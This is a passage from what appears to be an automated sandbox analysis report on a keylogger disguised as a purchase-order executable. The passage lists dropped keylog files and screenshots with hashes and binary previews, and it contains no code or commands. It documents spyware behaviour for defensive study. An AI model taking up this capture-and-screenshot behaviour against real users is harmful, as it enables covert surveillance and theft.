SSDEEP:	768:Uns6rfzlEby4Hue88PGUyUodKWSfhxqxC+ScJLV5plzFd5zWGySClrj+p:b6bJEby4O9hLSfvqw+hzLVzCBY
MD5:	57479273B5DD129B4487BB887FF71743
SHA1:	51FB3399CFF6111BD3D9AEFF6703965B349F5E2A
SHA-256:	F10F2237AE3FE36123FE4918ECE364384EC9FD08238C1A5C3F29AD9A87765F1E
SHA-512:	D7FD62344D43A9E6264243903BDD79E6B4130B2DC26507D89880D6E082C4F4B933ABC71BD1F63759998A3CB1BE2E3A13B5A2C052B9B9F55CEC0E8CA4BD128B99
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...:IDATx^....lYY'.&u.x....7F..Va.u.-...i2.);,.QJ0A.^.DD...)T...J...5A......OH.N ...LX/...E\|.bF...9..~c.s.5.\s5..../c.}.9..../..<_x../...}........\....V....f./..Z...E.......\...........7.q......2.z.\|.2.\|.V...}.\|..7.E7.../...\|,>.K...\....s....e.q......y....&....s..5.3...}\g..........}.<.\|~\K...K..j.Y...9.........."_5.z...1..._y....._..L...[.w....Q......P...l.o...}.M....z...I.<...<.f..Z3..pR....}.Kf.w{....:.QfY..~....~f../]e.3...1.yc..n....?.].....w.../....6..w8@.s. ......;..v....M..?x..u..s`c....+..h...<......yV..-?..{...mW......Y~}i\|-.WZ_S...{......5..d..o_Y._..5\|-_..cZ..).......w.s.)q.J....1...3{.....W.z..~..#.?.N..?..L....[}..!...9.,.{.i.m....dU.h..n...\o<'..!...l.....N.....Q..d.p..o..7y0.S.....A..'.q<..J-.).n.b.c......,...._D..(...P.......M.k.O.pG..OI.?...}..r..`..g....Q.\O...W...-./..E.J.k.^Y{...4....?....+...S...eQ.j=&.4.y.p......]...>.r......

C:\Users\user\AppData\Local\Temp\2023-02-21-08-40-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.028946391954607
Encrypted:	false
SSDEEP:	3:y5eBXwfbzn:y5ehCbz
MD5:	60F2EC33761FCE9B689A17249DA47A21
SHA1:	858B10B2C094454DDB7CF8A2ECCDFE1F113E7556
SHA-256:	8A09260CA279C70916ABC1F08ED555E331C197F250214B6F68C2C056F47877E4
SHA-512:	3ED517EAC71BF37F727643902D06BE854F2DF1640485801BFD443F99941567559B9EB918544704AC5DBF4A2C602CD757D9AF077750988B7E1086EADEE1261191
Malicious:	false
Preview:	.[ main - 2/21/2023 8:39:07 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-41-23-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	52256
Entropy (8bit):	7.618757397849963
Encrypted:	false
SSDEEP:	1536:h+o+xPSNUmrXpOH0djXoPJfNYBh3p8jk0dt+:UosIHrXG0djXo/3u
MD5:	0228B0BD22CB04D4CD5D39CE1DAC8EE7
SHA1:	0DCCA5CFE01B8CA1EDAC19207B664A43923AC055
SHA-256:	53175CD579DE32630993833F6ACFBF17585FA88985186C117688B6E0B700596D
SHA-512:	D8E63741A44BAB4AE9527FA4CE6B7FB9EF65346106D298AA9268A72BF2BB2AAD50C4A867CC4EFA5CD7F450D92C2E39A10B5BEC59C3C4BA874CBAF77CD2BE960F
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...IDATx^....uYY.........w.\|..F.h.}.ML.i...QD.G.....-..t" Fc.T"..7.Jg.A#~!....Z..j(.....:....s.O....w.....Zk.9.\.>{.....=.]...t..sn.............s....b-7..[.-...{.......?..^..2_x.......\....7.q....[..2.F.\|..}.-.......G7....tq.K>gq....[.9_2.F.poy..^..L<.u.]..8....d.\|.u...C.F.s...vPz..i...s.r.?.k.Y.c..X.6...h...q..\|.N..s"_2.F.._....Wg1q.8..s.M...]..>.'Io.c..c%...d.xM...7..w..c?_..y...<.f~m.i^.N+.".o\|....(i~~.....e....g07......\.......V..Y..1...v....?.....n._.E_.%..+7.Ew<B:s.!7..;.(.9w..I../.\|.W.=_x.........t..EV_....(..?...se.....c.\|...g.y\|.^_:.E.J.5.....9\|...z.J............k../..{L.j>....).....D.{P.v....m/...v..r.._..m9...sh.s^.....w.&.V...&..9.Mw.Ez.>...Ko...~.._..Iw.j..5y`.....F.H......? t...,../\|._.`...X.....1._Lg........,.?.9........_..(..$...+....q.......wD...3."....PN\..?.,...#................Zt..^S...{.....7..d...PY._.....ea...........u.7........

C:\Users\user\AppData\Local\Temp\2023-02-21-08-41-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.842653851312629
Encrypted:	false
SSDEEP:	3:ymsBFcaYgg3PoFwNaIawf78:ymUFigg3vahCg
MD5:	92A72060599D1C5BF69E0EC66657BA65
SHA1:	8383788BC8B5403FAD735ABF11CBC30D16ADE23D
SHA-256:	5663788A3ED9AF8BFC7DCAE9B2EB532ADB1F824D73B2B62593A2870A2C1B0E58
SHA-512:	C64ECF3C05760B47D2555DD4FF4A9B246763D146706AD576A96F10F4CDE20C0D38150911892519C1A7C7C84D53D94E3EFFB291F48AAB444E10B8E54674C587CE
Malicious:	false
Preview:	.[ REVISED PURCHASE ORDER.HTML - Google Chrome - 2/21/2023 8:41:14 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-43-27-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50937
Entropy (8bit):	7.597670708751918
Encrypted:	false
SSDEEP:	768:zWOrFqxXMeYAipY4MxfEH8SSErORx5XSuIIo6/yyAv1/X4ibt98boV:aORaMeYAPxsVSVRDCuIIfAv1QYxV
MD5:	7F38194FA66803D695AB596FEBBDDF0F
SHA1:	74BD38F24C75EE1722CCED33943924F746365A95
SHA-256:	8A3174A039AEA25717C283E1E3E4A3BE7F202E1E93385A0DA7BCF2FD48299075
SHA-512:	66E9317739666D012DC99C0950878497E2A9F4F6E592261D8D38BAC310F92D71D9986EA0221CE2FD5638BAF1ACEBE3C8D1D2E09D9E34F9781CB27C3DE99A443C
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...IDATx^....lYY'.&u.{..7..u..[.U....uK.P.&3E.^I.i.R...R.A...).BE...l..SK..[H'.J.fBf.B6$...^\|k.....3bwg.<g..o.....k.&v...e./..c>}..co.........\|.........\|..O..^>.k....w..Y.S...s.z..%.Y..y..w^....).o..g.r.'.i?.../.O..f>...{^.{....l..~..\|.....<~.x....q.%.1.....\.w...m>...Y....o.......k.Y.c..X.6...h...q..\|.O..c#.6.6....\..._g1q.8..s.M...]..>.'Io.c..c%...d.xM...q......c?_..y...<.f~m.i^.N+.".o\|....(i~~.....e....g0.......\.I.......?[..1..6g.....n.L....Y.E..%...6.{.t.<Bn.).{.....{.&....8z>...._..s....y..Y}....6.f/..-?..{...mW......q.z}................Y\|.;T........>kN.19.....c....Ng..%.A..=_<...,..N...A_...........y.g.v.y..Y..w.....6.....Hol/.}O'.5.~..v.1.....9..z7..#...S.....).E...../~.q..`-.f...~1../..R............`...~./..x..{s.l\|C\....Z.S.........(.l\|_?C9q.......(...W.;(..g,...k..{M=(k.A............Ce9~y..k.Z....crVs...............

C:\Users\user\AppData\Local\Temp\2023-02-21-08-43-36-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50937
Entropy (8bit):	7.597670708751918
Encrypted:	false
SSDEEP:	768:zWOrFqxXMeYAipY4MxfEH8SSErORx5XSuIIo6/yyAv1/X4ibt98boV:aORaMeYAPxsVSVRDCuIIfAv1QYxV
MD5:	7F38194FA66803D695AB596FEBBDDF0F
SHA1:	74BD38F24C75EE1722CCED33943924F746365A95
SHA-256:	8A3174A039AEA25717C283E1E3E4A3BE7F202E1E93385A0DA7BCF2FD48299075
SHA-512:	66E9317739666D012DC99C0950878497E2A9F4F6E592261D8D38BAC310F92D71D9986EA0221CE2FD5638BAF1ACEBE3C8D1D2E09D9E34F9781CB27C3DE99A443C
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...IDATx^....lYY'.&u.{..7..u..[.U....uK.P.&3E.^I.i.R...R.A...).BE...l..SK..[H'.J.fBf.B6$...^\|k.....3bwg.<g..o.....k.&v...e./..c>}..co.........\|.........\|..O..^>.k....w..Y.S...s.z..%.Y..y..w^....).o..g.r.'.i?.../.O..f>...{^.{....l..~..\|.....<~.x....q.%.1.....\.w...m>...Y....o.......k.Y.c..X.6...h...q..\|.O..c#.6.6....\..._g1q.8..s.M...]..>.'Io.c..c%...d.xM...q......c?_..y...<.f~m.i^.N+.".o\|....(i~~.....e....g0.......\.I.......?[..1..6g.....n.L....Y.E..%...6.{.t.<Bn.).{.....{.&....8z>...._..s....y..Y}....6.f/..-?..{...mW......q.z}................Y\|.;T........>kN.19.....c....Ng..%.A..=_<...,..N...A_...........y.g.v.y..Y..w.....6.....Hol/.}O'.5.~..v.1.....9..z7..#...S.....).E...../~.q..`-.f...~1../..R............`...~./..x..{s.l\|C\....Z.S.........(.l\|_?C9q.......(...W.;(..g,...k..{M=(k.A............Ce9~y..k.Z....crVs...............

C:\Users\user\AppData\Local\Temp\2023-02-21-08-43-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.870431629090406
Encrypted:	false
SSDEEP:	3:ymsBFcaYgg3PoFwNaIawfoF:ymUFigg3vahCoF
MD5:	9A4A842C4DC1EB49B465C4A89048B18B
SHA1:	E7D8740209E5C77087B2D2E01D542C7AAB2D0312
SHA-256:	DA6977F755F26DBC5EBDD42AAC75DA43CFD85688AD04F897EA0C51B772FE408D
SHA-512:	9243368A646DAE23657BBAA7117E877CEA4C59B2E35066DE58F077E34FD9FC31B4272A415F7599CF92F9C8499656FF40FB5D48B60EA59BDB94C1C03AFD13B82E
Malicious:	false
Preview:	.[ REVISED PURCHASE ORDER.HTML - Google Chrome - 2/21/2023 8:43:36 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-45-26-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50937
Entropy (8bit):	7.597670708751918
Encrypted:	false
SSDEEP:	768:zWOrFqxXMeYAipY4MxfEH8SSErORx5XSuIIo6/yyAv1/X4ibt98boV:aORaMeYAPxsVSVRDCuIIfAv1QYxV
MD5:	7F38194FA66803D695AB596FEBBDDF0F
SHA1:	74BD38F24C75EE1722CCED33943924F746365A95
SHA-256:	8A3174A039AEA25717C283E1E3E4A3BE7F202E1E93385A0DA7BCF2FD48299075
SHA-512:	66E9317739666D012DC99C0950878497E2A9F4F6E592261D8D38BAC310F92D71D9986EA0221CE2FD5638BAF1ACEBE3C8D1D2E09D9E34F9781CB27C3DE99A443C
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...IDATx^....lYY'.&u.{..7..u..[.U....uK.P.&3E.^I.i.R...R.A...).BE...l..SK..[H'.J.fBf.B6$...^\|k.....3bwg.<g..o.....k.&v...e./..c>}..co.........\|.........\|..O..^>.k....w..Y.S...s.z..%.Y..y..w^....).o..g.r.'.i?.../.O..f>...{^.{....l..~..\|.....<~.x....q.%.1.....\.w...m>...Y....o.......k.Y.c..X.6...h...q..\|.O..c#.6.6....\..._g1q.8..s.M...]..>.'Io.c..c%...d.xM...q......c?_..y...<.f~m.i^.N+.".o\|....(i~~.....e....g0.......\.I.......?[..1..6g.....n.L....Y.E..%...6.{.t.<Bn.).{.....{.&....8z>...._..s....y..Y}....6.f/..-?..{...mW......q.z}................Y\|.;T........>kN.19.....c....Ng..%.A..=_<...,..N...A_...........y.g.v.y..Y..w.....6.....Hol/.}O'.5.~..v.1.....9..z7..#...S.....).E...../~.q..`-.f...~1../..R............`...~./..x..{s.l\|C\....Z.S.........(.l\|_?C9q.......(...W.;(..g,...k..{M=(k.A............Ce9~y..k.Z....crVs...............

C:\Users\user\AppData\Local\Temp\2023-02-21-08-45-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	29
Entropy (8bit):	3.7159321855150296
Encrypted:	false
SSDEEP:	3:yQTfaJhFi:yQTii
MD5:	2B99D1127BFAF9B293425C99AECE96FB
SHA1:	D0E6C8D97F7F53CC858FA2E7BFC464BD4BB55E56
SHA-256:	733BCCA5DE67710F682B4932A102EEB26B079BA13477532DF240CC1DC3FBD0F7
SHA-512:	CCC4F885DCF022B13766AE08690957CC6C87BBE8CDFC41D3037D35B1F434667D366A3F8CF362DDC9373E73C44323A790BD549AED567EFB6D129A993C97B6B8CF
Malicious:	false
Preview:	.[ - 2/21/2023 8:45:26 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-46-28-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50962
Entropy (8bit):	7.601584254237598
Encrypted:	false
SSDEEP:	768:wdEUvrAmDdKW/R4mtt6aO70SuIIo6/yyAv1/X4ibt98bo1:wB8m5DpRtvYZuIIfAv1QYx1
MD5:	AB1CA1337F77934055CF814D3406F6A7
SHA1:	60DCE3A2843CB6F3B279FE838317176856A2DFC4
SHA-256:	90E031D49EB4BDDD85161850503AFDAF31AAC9D112F9C759C0EFEC5522228AC6
SHA-512:	58A1D6C40B2A962570F02A3D3E87AEA29C52DD22CA91E9DD081B0814546835DCD7247ADCFB985726E7E71C98B21DB5274BF24B1719950D200318380FF5B0FF09
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...IDATx^....lYY'.&u.}..7..u..[.U....uK....LQ.W.FH@)E.EKKE....{}6Hc.\{K.......U.}..4I......z.._./f..}.....\k.9.\M....g_p.'}.t.'.n/.r..O...\|..........\|.]..O..^>..k..3......Z.....x=......q...._.....Y..W..3.O_...i3.z..=/.......?{.m>ioy..Z..L<.u.]..8....d.\|.u...C.6.\|...vPz..i....r.'..,.d~.....g4gh..s>.s.....s.O.ws.._...8^.w.9..k....TS..7.1R..._.[.q......;..'..../M.<.I{.[3...4.....^..7>}.}w.4??..........3..\|..g.E......Lq..,~......yh..E..........r.gm....\|...!.9......O..;...s...\|....~.~.k`c...qP:.."....u}..._.e......\|.\|......<>nV./..C...zP...>.....O%.....r......\|....=&g5...z.......q..=(Y...x.....I;.P9......p..9..9...Z.;o.?+....c...;.".{.....d.....;f....<0..Z.f.p..xp.....:.H.......y0.S.....Q../.3..uPj.O.p{......Q...../.E..O.zo...o...8^._....;..xV...e....g('...}.Q........\|.E...e...y-:Tz...e.=...}...T...w.,./.O}._...{L.j....~z.:..{@v}..~.

C:\Users\user\AppData\Local\Temp\2023-02-21-08-47-59-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50840
Entropy (8bit):	7.600790828813849
Encrypted:	false
SSDEEP:	1536:zwg6BsFilmjE/QZMx4ZFt6INuUe8McsfQQ:WBV/3+FtBURcsff
MD5:	4511070C232892C561190E0467E55ACE
SHA1:	701822C471AB83120BC80B94CEC1B89384910427
SHA-256:	B42E793D11CB0602DEAAB736237CCBC2E11CE91E32B5CD737DC88371C5717A9F
SHA-512:	A283F22C2F34EC561EA5CDB05FBF035023274646322663E1CB0F8259E47798AE75490D655A195DF45EE94A737EC82618378217E8BF3CC78CBA83C4823E75F83E
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...-IDATx^.....YY'..}"n..q#......9.F.[.....m'l.P.......T ....C3........b..S. cAQ.s1.@1..{...g.'W..{......E..}...!.....]p....t.g.z...t.g.v.[\|....\..wZ.->...g.u...J..W.../.o.....o.^..h5{.b.8.]V..zp..[...r...y?.3./...z>.v.{^...{.......yn./.......e.q..n.g.y....%.._.2.k.1......^.A.......X....R.<..c.k...hNh...\|...../...........g0q.8..5..k....TS...7..R.....Y;^...\|.m..g..._/M.<..=.....4.....Y.?7>g.sw.4.?.....2......->g.;.,.\|.~.......f.o...>...C[~/...]4...X....!..?.......y..._r.......M:..>......'..ks...A.<F..=o...0..Yd........\|.m.......5{./.....{O=(+.AvO.._o.S....NY._.......<....sf..Hy.....J...{>{.gm....N..;.._...M9...{h.{^.....w.&.W...#...;.,.{.....d.....;fo..<0G\|.w.V8R.<8e../..._$.......y0.R.....a>..'.I<..J-.).n.r...)....,...._D..8...HY......5......%..g$..QfY..~B9v.......(...W.;(..'.....{.N..... .....7..d..o.,./.O}._...{L.h....~z.:..{@.=.z..l.1.

C:\Users\user\AppData\Local\Temp\2023-02-21-08-47-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.858560060031055
Encrypted:	false
SSDEEP:	3:ymsBFcaYgg3PoFwNaIawfVXEF:ymUFigg3vahC2F
MD5:	56D83183510453D93C941DE64CB08C51
SHA1:	0F4515839A10120CC7BD355B0288F844E34034CC
SHA-256:	E932D818F5655E1F708A728384A998399196C1D1A2F69E2F05A7135917125B4E
SHA-512:	9583C959A5314221C2FA98F7F2095EBFA3EB3799B374216B14222CA7F360B5A698F9426FB3C363C42B1AC9AFA7A349EC06737B559BD43E7EA0AD595311DEEFF4
Malicious:	false
Preview:	.[ REVISED PURCHASE ORDER.HTML - Google Chrome - 2/21/2023 8:46:28 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-48-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.387584812757067
Encrypted:	false
SSDEEP:	3:yIeDKAfc3F4v:yI8Tc3Cv
MD5:	10E849EE783C91FE60BEAE13C425B83E
SHA1:	B1045D84132B79915050224F468DF8DEA2597115
SHA-256:	45DF4F059EB97FACB83DBF2B828E84D2D9BF9E9BCC75A605F1721A9AF1F705D0
SHA-512:	B29DF71897FDA8FE1875500B4A35FD004A6BD47FD8D546557931702C5ED6311C7F7C50D28F015583D2EC13C8427E8B0AB61BF822D2356CF2F4000DF6F7CCF688
Malicious:	false
Preview:	.[ Program Manager - 2/21/2023 8:47:59 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-49-12-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50937
Entropy (8bit):	7.597670708751918
Encrypted:	false
SSDEEP:	768:zWOrFqxXMeYAipY4MxfEH8SSErORx5XSuIIo6/yyAv1/X4ibt98boV:aORaMeYAPxsVSVRDCuIIfAv1QYxV
MD5:	7F38194FA66803D695AB596FEBBDDF0F
SHA1:	74BD38F24C75EE1722CCED33943924F746365A95
SHA-256:	8A3174A039AEA25717C283E1E3E4A3BE7F202E1E93385A0DA7BCF2FD48299075
SHA-512:	66E9317739666D012DC99C0950878497E2A9F4F6E592261D8D38BAC310F92D71D9986EA0221CE2FD5638BAF1ACEBE3C8D1D2E09D9E34F9781CB27C3DE99A443C
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...IDATx^....lYY'.&u.{..7..u..[.U....uK.P.&3E.^I.i.R...R.A...).BE...l..SK..[H'.J.fBf.B6$...^\|k.....3bwg.<g..o.....k.&v...e./..c>}..co.........\|.........\|..O..^>.k....w..Y.S...s.z..%.Y..y..w^....).o..g.r.'.i?.../.O..f>...{^.{....l..~..\|.....<~.x....q.%.1.....\.w...m>...Y....o.......k.Y.c..X.6...h...q..\|.O..c#.6.6....\..._g1q.8..s.M...]..>.'Io.c..c%...d.xM...q......c?_..y...<.f~m.i^.N+.".o\|....(i~~.....e....g0.......\.I.......?[..1..6g.....n.L....Y.E..%...6.{.t.<Bn.).{.....{.&....8z>...._..s....y..Y}....6.f/..-?..{...mW......q.z}................Y\|.;T........>kN.19.....c....Ng..%.A..=_<...,..N...A_...........y.g.v.y..Y..w.....6.....Hol/.}O'.5.~..v.1.....9..z7..#...S.....).E...../~.q..`-.f...~1../..R............`...~./..x..{s.l\|C\....Z.S.........(.l\|_?C9q.......(...W.;(..g,...k..{M=(k.A............Ce9~y..k.Z....crVs...............

C:\Users\user\AppData\Local\Temp\2023-02-21-08-49-keylogs.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	ASCII text
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.858560060031055
Encrypted:	false
SSDEEP:	3:ymsBFcaYgg3PoFwNaIawfMoCvn:ymUFigg3vahCMF
MD5:	AC30A6F2B8EF86A0036B8CB32A4C703E
SHA1:	C23F2D0686E89E4E3056A3B9C9B895E48B02E592
SHA-256:	FE6CFFD3B504636BF0C83391506597A072CD5B56E0791BFF67E58AE4AF9A2308
SHA-512:	0F7D15EFC3FF327C7B10AD2C78C35375FC0394D1572562D5BABD77F6E56840B39B002BC54D4341D1EA351DCB767CCD0FD94BAB7CCC702CBA71DD73999AA08049
Malicious:	false
Preview:	.[ REVISED PURCHASE ORDER.HTML - Google Chrome - 2/21/2023 8:49:12 AM ].

C:\Users\user\AppData\Local\Temp\2023-02-21-08-51-39-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50937
Entropy (8bit):	7.597670708751918
Encrypted:	false
SSDEEP:	768:zWOrFqxXMeYAipY4MxfEH8SSErORx5XSuIIo6/yyAv1/X4ibt98boV:aORaMeYAPxsVSVRDCuIIfAv1QYxV
MD5:	7F38194FA66803D695AB596FEBBDDF0F
SHA1:	74BD38F24C75EE1722CCED33943924F746365A95
SHA-256:	8A3174A039AEA25717C283E1E3E4A3BE7F202E1E93385A0DA7BCF2FD48299075
SHA-512:	66E9317739666D012DC99C0950878497E2A9F4F6E592261D8D38BAC310F92D71D9986EA0221CE2FD5638BAF1ACEBE3C8D1D2E09D9E34F9781CB27C3DE99A443C
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...IDATx^....lYY'.&u.{..7..u..[.U....uK.P.&3E.^I.i.R...R.A...).BE...l..SK..[H'.J.fBf.B6$...^\|k.....3bwg.<g..o.....k.&v...e./..c>}..co.........\|.........\|..O..^>.k....w..Y.S...s.z..%.Y..y..w^....).o..g.r.'.i?.../.O..f>...{^.{....l..~..\|.....<~.x....q.%.1.....\.w...m>...Y....o.......k.Y.c..X.6...h...q..\|.O..c#.6.6....\..._g1q.8..s.M...]..>.'Io.c..c%...d.xM...q......c?_..y...<.f~m.i^.N+.".o\|....(i~~.....e....g0.......\.I.......?[..1..6g.....n.L....Y.E..%...6.{.t.<Bn.).{.....{.&....8z>...._..s....y..Y}....6.f/..-?..{...mW......q.z}................Y\|.;T........>kN.19.....c....Ng..%.A..=_<...,..N...A_...........y.g.v.y..Y..w.....6.....Hol/.}O'.5.~..v.1.....9..z7..#...S.....).E...../~.q..`-.f...~1../..R............`...~./..x..{s.l\|C\....Z.S.........(.l\|_?C9q.......(...W.;(..g,...k..{M=(k.A............Ce9~y..k.Z....crVs...............

C:\Users\user\AppData\Local\Temp\2023-02-21-08-51-40-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50937
Entropy (8bit):	7.597670708751918
Encrypted:	false
SSDEEP:	768:zWOrFqxXMeYAipY4MxfEH8SSErORx5XSuIIo6/yyAv1/X4ibt98boV:aORaMeYAPxsVSVRDCuIIfAv1QYxV
MD5:	7F38194FA66803D695AB596FEBBDDF0F
SHA1:	74BD38F24C75EE1722CCED33943924F746365A95
SHA-256:	8A3174A039AEA25717C283E1E3E4A3BE7F202E1E93385A0DA7BCF2FD48299075
SHA-512:	66E9317739666D012DC99C0950878497E2A9F4F6E592261D8D38BAC310F92D71D9986EA0221CE2FD5638BAF1ACEBE3C8D1D2E09D9E34F9781CB27C3DE99A443C
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...IDATx^....lYY'.&u.{..7..u..[.U....uK.P.&3E.^I.i.R...R.A...).BE...l..SK..[H'.J.fBf.B6$...^\|k.....3bwg.<g..o.....k.&v...e./..c>}..co.........\|.........\|..O..^>.k....w..Y.S...s.z..%.Y..y..w^....).o..g.r.'.i?.../.O..f>...{^.{....l..~..\|.....<~.x....q.%.1.....\.w...m>...Y....o.......k.Y.c..X.6...h...q..\|.O..c#.6.6....\..._g1q.8..s.M...]..>.'Io.c..c%...d.xM...q......c?_..y...<.f~m.i^.N+.".o\|....(i~~.....e....g0.......\.I.......?[..1..6g.....n.L....Y.E..%...6.{.t.<Bn.).{.....{.&....8z>...._..s....y..Y}....6.f/..-?..{...mW......q.z}................Y\|.;T........>kN.19.....c....Ng..%.A..=_<...,..N...A_...........y.g.v.y..Y..w.....6.....Hol/.}O'.5.~..v.1.....9..z7..#...S.....).E...../~.q..`-.f...~1../..R............`...~./..x..{s.l\|C\....Z.S.........(.l\|_?C9q.......(...W.;(..g,...k..{M=(k.A............Ce9~y..k.Z....crVs...............

C:\Users\user\AppData\Local\Temp\2023-02-21-08-51-41-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50840
Entropy (8bit):	7.600790828813849
Encrypted:	false
SSDEEP:	1536:zwg6BsFilmjE/QZMx4ZFt6INuUe8McsfQQ:WBV/3+FtBURcsff
MD5:	4511070C232892C561190E0467E55ACE
SHA1:	701822C471AB83120BC80B94CEC1B89384910427
SHA-256:	B42E793D11CB0602DEAAB736237CCBC2E11CE91E32B5CD737DC88371C5717A9F
SHA-512:	A283F22C2F34EC561EA5CDB05FBF035023274646322663E1CB0F8259E47798AE75490D655A195DF45EE94A737EC82618378217E8BF3CC78CBA83C4823E75F83E
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d...-IDATx^.....YY'..}"n..q#......9.F.[.....m'l.P.......T ....C3........b..S. cAQ.s1.@1..{...g.'W..{......E..}...!.....]p....t.g.z...t.g.v.[\|....\..wZ.->...g.u...J..W.../.o.....o.^..h5{.b.8.]V..zp..[...r...y?.3./...z>.v.{^...{.......yn./.......e.q..n.g.y....%.._.2.k.1......^.A.......X....R.<..c.k...hNh...\|...../...........g0q.8..5..k....TS...7..R.....Y;^...\|.m..g..._/M.<..=.....4.....Y.?7>g.sw.4.?.....2......->g.;.,.\|.~.......f.o...>...C[~/...]4...X....!..?.......y..._r.......M:..>......'..ks...A.<F..=o...0..Yd........\|.m.......5{./.....{O=(+.AvO.._o.S....NY._.......<....sf..Hy.....J...{>{.gm....N..;.._...M9...{h.{^.....w.&.W...#...;.,.{.....d.....;fo..<0G\|.w.V8R.<8e../..._$.......y0.R.....a>..'.I<..J-.).n.r...)....,...._D..8...HY......5......%..g$..QfY..~B9v.......(...W.;(..'.....{.N..... .....7..d..o.,./.O}._...{L.h....~z.:..{@.=.z..l.1.

C:\Users\user\AppData\Local\Temp\2023-02-21-08-51-44-screenshot.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\itl30nap.yii\PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
